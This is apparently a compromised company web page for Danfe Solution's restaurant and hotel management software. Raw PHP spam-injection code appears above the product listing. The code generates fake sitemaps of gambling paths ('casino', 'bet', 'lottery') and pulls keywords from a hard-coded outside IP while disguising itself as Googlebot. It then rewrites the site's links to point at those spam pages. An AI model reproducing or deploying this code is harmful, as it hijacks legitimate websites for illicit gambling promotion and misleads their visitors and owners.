\n"; $xmldbs.= " \n"; for($i=0;$i<$number;$i++){ $tagarr=getdesign(); $url=$_url.'/'.rtrim($tagarr[rand(0,count($tagarr)-1)],'/').'/'.charshuzis(7).'/'; $xmldbs.= " \n"; $xmldbs.= " ".$url."\n"; $xmldbs.= " ".date('Y-m-d')."\n"; $xmldbs.= " daily\n"; $xmldbs.= " 1.0\n"; $xmldbs.= " \n"; } $xmldbs.= ""; header("content-type:text/xml;charset=utf-8"); echo $xmldbs; unset($xmldbs); exit; } function getkeywordinfo($number=100){ $_url='http://103.197.184.172/yc_info/info.php?_token=kw&number='.$number; $gent='Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)';//$gent?$gent:$_SERVER['HTTP_USER_AGENT']; $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$_url); curl_setopt($ch,CURLOPT_HEADER,0); curl_setopt($ch,CURLOPT_USERAGENT,$gent); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); //不验证证书 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); //不验证证书 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1 ); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,19); $res = curl_exec($ch); $cinfo=curl_getinfo($ch); curl_close($ch); if($cinfo['http_code']=='200'){ $data=json_decode($res); return $data; } } function getcurlhtmlcontent(){ $httptype=(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://"; $_url = $httptype . $_SERVER['HTTP_HOST'];// . $_SERVER['REQUEST_URI']; $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$_url); curl_setopt($ch,CURLOPT_HEADER,0); curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); //不验证证书 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); //不验证证书 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1 ); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,19); $res = curl_exec($ch); $cinfo=curl_getinfo($ch); curl_close($ch); if($cinfo['http_code']=='200'){ $reg1="/.*?<\/a>/"; preg_match_all($reg1,$res,$aarray); /*******info******/ $keywordnum=count($aarray[0])+9; $iskeyword=0; $arrkeyword=getkeywordinfo($keywordnum); if($arrkeyword&&count($arrkeyword)>count($aarray[0])){ $iskeyword=1; } /*******info******/ for($i=0;$i0){ $_setkeyword=$arrkeyword[$i]; }else{ $_setkeyword=charshuzis(5); } $link=$_url.'/'.clearstrrnrow($tagarr[rand(0,count($tagarr)-1)]).'/'.$_setkeyword.'/'; //1 str_replace $preg = '/href=(\"|\')(.*?)(\"|\')/i'; $replacestr = 'href="'.$link.'"'; $newhref = preg_replace($preg, $replacestr, $oldhref); //2 str_replace $res=str_replace($oldhref, $newhref, $res); } } }else{ $res=''; } return $res; } function clearstrrnrow($str){ $str=trim($str,""); $str=trim($str,"\r\n"); $str=preg_replace("/\s/","",$str); $str=str_replace(array("\n","\r","\r\n"," "),"",$str); $str = preg_replace("/\s/is", "", $str); return $str; } function getdesign(){ return array('news','game', 'hot','mobile','app','order',"app",'game', 'hot', 'shell', 'store', 'goods', 'sell', 'win', 'bet', 'order', 'win88', 'casino', 'games', 'lottery', 'soccer-live', 'live'); } ?> Products – Danfe Solution

Our Products

Restaurant Management Software

Hotel Management Software